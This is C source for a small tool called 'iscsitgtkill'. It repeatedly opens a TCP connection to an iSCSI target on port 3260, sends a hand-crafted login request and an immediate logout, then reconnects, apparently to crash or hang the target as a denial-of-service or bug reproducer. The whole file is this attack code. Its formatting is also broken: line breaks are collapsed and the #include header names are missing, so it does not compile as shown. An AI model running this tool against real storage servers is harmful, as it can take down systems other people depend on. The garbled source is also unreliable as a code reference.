#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #define hton24(p, v) { \ p[0] = (((v) >> 16) & 0xFF); \ p[1] = (((v) >> 8) & 0xFF); \ p[2] = ((v) & 0xFF); \ } typedef uint32_t __be32; typedef uint16_t __be16; static void send_login(int fd, char *initiator_name, char *target_name); static void send_logout(int fd); struct iscsi_login_req { uint8_t opcode; uint8_t flags; uint8_t max_version; /* Max. version supported */ uint8_t min_version; /* Min. version supported */ uint8_t hlength; uint8_t dlength[3]; uint8_t isid[6]; /* Initiator Session ID */ __be16 tsih; /* Target Session Handle BE*/ uint32_t itt; /* Initiator Task Tag */ __be16 cid; __be16 rsvd3; __be16 cmdsn; __be32 exp_statsn; uint8_t rsvd5[16]; }; struct iscsi_logout { uint8_t opcode; uint8_t flags; uint8_t rsvd1[2]; uint8_t hlength; uint8_t dlength[3]; uint8_t rsvd2[8]; uint32_t itt; /* Initiator Task Tag */ __be16 cid; uint8_t rsvd3[2]; __be32 cmdsn; __be32 exp_statsn; uint8_t rsvd4[16]; }; char *conn_params[] = { #if 0 "InitiatorName=iqn.1994-05.com.redhat:c03a48feed9d", #endif "InitiatorAlias=raketa", #if 0 "TargetName=iqn.2003-01.org.linux-iscsi.kvm-01-guest23.x8664:sn.5da5e681589d", #endif "SessionType=Normal", "HeaderDigest=None", "DataDigest=None", "DefaultTime2Wait=2", "DefaultTime2Retain=0", "IFMarker=No", "OFMarker=No", "ErrorRecoveryLevel=0", "InitialR2T=No", "ImmediateData=Yes", "MaxBurstLength=16776192", "FirstBurstLength=262144", "MaxOutstandingR2T=1", "MaxConnections=1", "DataPDUInOrder=Yes", "DataSequenceInOrder=Yes", "MaxRecvDataSegmentLength=262144", NULL, }; static void usage(void) { printf("iscsitgtkill -i -t -p [-r ]\n"); } int main(int argc, char **argv) { int sockfd, opt; struct sockaddr_in tgtaddr; char *initiator_name = NULL; char *target_name = NULL; char *target_ip = NULL; int retries = 0; while ((opt = getopt(argc, argv, "i:t:p:r:h")) != -1) { switch (opt) { case 'i': asprintf(&initiator_name, "InitiatorName=%s", optarg); break; case 't': asprintf(&target_name, "TargetName=%s", optarg); break; case 'p': target_ip = optarg; break; case 'r': retries = atoi(optarg); if (retries < 0) { printf("Number of retries must be >= 0\n"); return -1; } break; case 'h': usage(); return 0; case '?': fprintf(stderr, "Unknown option %c\n", optopt); goto err_usage; } } if (!initiator_name) { fprintf(stderr, "Missing initiator_iqn parameter!\n"); goto err_usage; } else if (!target_name) { fprintf(stderr, "Missing target_iqn parameter!\n"); goto err_usage; } else if (!target_ip) { fprintf(stderr, "Missing target_ip parameter!\n"); goto err_usage; } retry: sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) { printf("Cannot create the socket\n"); return sockfd; } tgtaddr.sin_family = AF_INET; tgtaddr.sin_addr.s_addr = inet_addr(target_ip); tgtaddr.sin_port = htons(3260); if (connect(sockfd, (struct sockaddr *) &tgtaddr, sizeof(tgtaddr)) < 0) { printf("Cannot connect to the target\n"); return -1; } send_login(sockfd, initiator_name, target_name); send_logout(sockfd); usleep(50000); close(sockfd); if (retries-- > 0) goto retry; return 0; err_usage: usage(); return -1; } static void send_login(int fd, char *initiator_name, char *target_name) { struct iscsi_login_req *login_req; int i, len; int pad = 1; unsigned data_len = 0; login_req = calloc(1, 4096); login_req->opcode = 0x43; login_req->flags = 0x87; login_req->hlength = 0; char *data = &login_req->rsvd5[16]; char *str = data; len = strlen(initiator_name); memcpy(str, initiator_name, len); str = &str[len + 1]; data_len += len + 1; len = strlen(target_name); memcpy(str, target_name, len); str = &str[len + 1]; data_len += len + 1; for (i = 0; conn_params[i]; ++i) { len = strlen(conn_params[i]); memcpy(str, conn_params[i], len); str = &str[len + 1]; data_len += len + 1; } hton24(login_req->dlength, data_len); if ((sizeof(*login_req) + data_len + pad) % 2) pad++; write(fd, login_req, sizeof(*login_req) + data_len + pad); } static void send_logout(int fd) { struct iscsi_logout logout; memset(&logout, 0, sizeof(logout)); logout.opcode = 0x46; logout.flags = 0x01; write(fd, &logout, sizeof(logout)); }